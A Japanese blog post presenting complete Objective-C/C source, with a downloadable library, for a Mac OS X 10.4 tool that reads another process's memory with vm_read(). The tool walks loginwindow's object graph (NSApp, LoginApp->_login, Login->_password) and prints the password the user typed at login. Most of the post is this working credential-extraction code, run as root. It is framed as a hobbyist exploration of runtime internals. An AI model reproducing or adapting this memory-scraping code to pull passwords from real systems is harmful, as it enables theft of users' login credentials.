ログインパネルに入力したパスワードを取得するプログラム

ローカルディスクあさってたら2000年ごろに作ったvm_read()を使って他のプロセスの中身を覗き見るライブラリが出て来たので、ログインパネルのアプリの中身を覗いてみた。


Mac OS X 10.4環境で動作します。といってもウチの環境以外で動くかどうか分からないのでネタ半分で。(特にObj-C 2.0では動かなそう)


作ってから、PrivateFrameworksにvmutils.frameworkってフレームワークがあるのに気がついたけど、特に作り直してない。

簡単な説明

昔NeXTにはAppInspector.appという他のアプリの中を覗くアプリがありました。(デバッガでatachしたみたいな感じに、メモリの中身をブラウジング出来る。) 多分vm_read()使ってるんじゃないかと思い、同じようなのを作ってみようと思った。


ダンプ的に中身を見るならともかく、きちんと構造を追って覗くとなると開始ポイントと型情報が必要。そこで、「NSApp」というグローバル変数がshared library(というかFramework)上にあるのを利用し、NSAppの位置から各アプリケーションのインスタンスに到達し、さらにisaの情報からクラス情報を取得するという方針で、アクセス用のライブラリを作った。


ログイン時にユーザ名とパスワードを入力するログインパネルはloginwindowという名前の独立したアプリケーションなので、プロセス番号を調べてメモリの内容を取得することができる。loginwindowはログインユーザのIDで動いているけど、rootでないと中身にアクセス出来ない(OSXServer1.0のころは出来た気も。)


loginwindowのアプリケーションクラスはLoginAppというなまえで、LoginAppのインスタンス変数_loginにはLoginというコントローラ的なクラスのインスタンスが入っている。さらにLoginのインスタンス変数_passwordにパスワードがNSStringで入っているので、この順にたどっていけば入力されたパスワードに辿り着ける。

プログラム

#include <sys/sysctl.h>
#import <Foundation/Foundation.h>
#import "TZOTaskAccess/TZOTaskAccess.h"
#import "TZOTaskAccess/TZOInstanceInfo.h"
#import "TZOTaskAccess/TZOClassInfo.h"
#import "TZOTaskAccess/TZOIvarInfo.h"
#import "TZOTaskAccess_Application.h"

int main (int argc, const char * argv[]) {
    NSAutoreleasePool * pool = [[NSAutoreleasePool alloc] init];
    int pid = loginwindowPid();
    if (pid == -1) {
        NSLog(@"logingwindow process not found.");
        [pool release];
        return -1;
    }
    TZOTaskAccess *taskAccess = [TZOTaskAccess taskAccessWithPid:pid];
    if (!taskAccess) {
        NSLog(@"Failed to access to the process. Execute me as superuser.");
        [pool release];
        return -1;
    }

    // NSApp => LoginApp->_login => Login->_password
    // グローバル変数'NSApp'のアドレスはどのプロセスでも同じなので、その中身を取得
    vm_address_t nsapplicationAddr =
        *(vm_address_t *)[[taskAccess dataWithAddress:[TZOTaskAccess defaultNSAppAddress]
                                               length:sizeof(vm_address_t)] bytes];

    // loginwindowのアプリクラス「LoginApp」の情報を取得
    TZOInstanceInfo *loginAppInstanceInfo = [taskAccess instanceInfoWithAddress:nsapplicationAddr];
    TZOClassInfo *loginAppClassInfo = [loginAppInstanceInfo classInfo];
    // 「LoginApp」のインスタンス変数「_login」の情報を取得
    TZOIvarInfo *_loginIvarInfo = [loginAppClassInfo ivarInfoWithName:@"_login"];
    // インスタンスのアドレスとオフセットから、インスタンス変数の内容を取得
    vm_address_t _loginAddr = 
        *(vm_address_t *)[[taskAccess dataWithAddress:nsapplicationAddr + [_loginIvarInfo offset]
                                               length:sizeof(vm_address_t)] bytes];
    
    // LoginApp->_loginのクラス「Login」の情報を取得
    TZOInstanceInfo *loginInstanceInfo = [taskAccess instanceInfoWithAddress:_loginAddr];
    TZOClassInfo *loginClassInfo = [loginInstanceInfo classInfo];
    // 「Login」のインスタンス変数「_password」の情報を取得
    TZOIvarInfo *_passwordIvarInfo = [loginClassInfo ivarInfoWithName:@"_password"];
    // インスタンスのアドレスとオフセットから、インスタンス変数の内容を取得
    vm_address_t _passwordAddr = 
        *(vm_address_t *)[[taskAccess dataWithAddress:_loginAddr + [_passwordIvarInfo offset]
                                               length:sizeof(vm_address_t)] bytes];
    
    // _passwordAddrの中身はNSStringクラスなので、その内容を取得
    NSString *password = [taskAccess stringWithStringAddress:_passwordAddr];
    
    NSLog(@"Your password: '%@'", password);
    [pool release];
    return 0;
}


#define MIB_NAMELEN 4
/* loginwindowのプロセスIDを取得する */
int loginwindowPid() {
    int mibname[MIB_NAMELEN] = { CTL_KERN, KERN_PROC, KERN_PROC_ALL, 0}; // all processes
    struct kinfo_proc *procs;
    size_t buffersize = 0;
    int index, count;

    int pid = -1;

    // get required size of the buffer 
    if (sysctl(mibname, MIB_NAMELEN, NULL, &buffersize, NULL, 0) < 0) {
        // failed to calling sysctl()
        return pid;
    }
    procs = (struct kinfo_proc *)malloc(buffersize);
    // really retrieve the info.
    if (sysctl(mibname, MIB_NAMELEN, procs, &buffersize, NULL, 0) < 0) {
        // failed to calling sysctl()
        free(procs);
        return  pid;
    }
    
    count = buffersize/sizeof(struct kinfo_proc);
    for (index = 0; index < count; index++) {
        pid_t p_pid = procs[index].kp_proc.p_pid;
        char *p_comm = procs[index].kp_proc.p_comm;
        if (!strcmp(p_comm, "loginwindow")) {
            pid = p_pid;
            break;
        }
    }
    free(procs);
    return pid;
}

ライブラリの方

クラスの解説だけ書くのであとは中身見て下さい。(中身はこちら→loginwindow_password.zip)

TZOTaskAccess
外部プロセスへのアクセスクラス。プロセスにつき1インスタンス生成する
TZOInstanceInfo
外部プロセス上のインスタンス情報(クラス情報とインスタンス値)を保持するクラス。
TZOClassInfo
外部プロセス上のクラス情報を保持するクラス
TZOIvarInfo
インスタンス変数の情報を保持するクラス

FoundationのクラスはCoreFoundationのラッパーみたいになっていてインスタンス変数だけでは中身にアクセス出来ないので、TZOTaskAccess_CoreFoundation.[hm]で専用の処理を追加している。CoreFoundation周りは構造体をコピペして来て使っているのでCoreFoundation側がバージョンアップすれば付いて行けなくなるかも。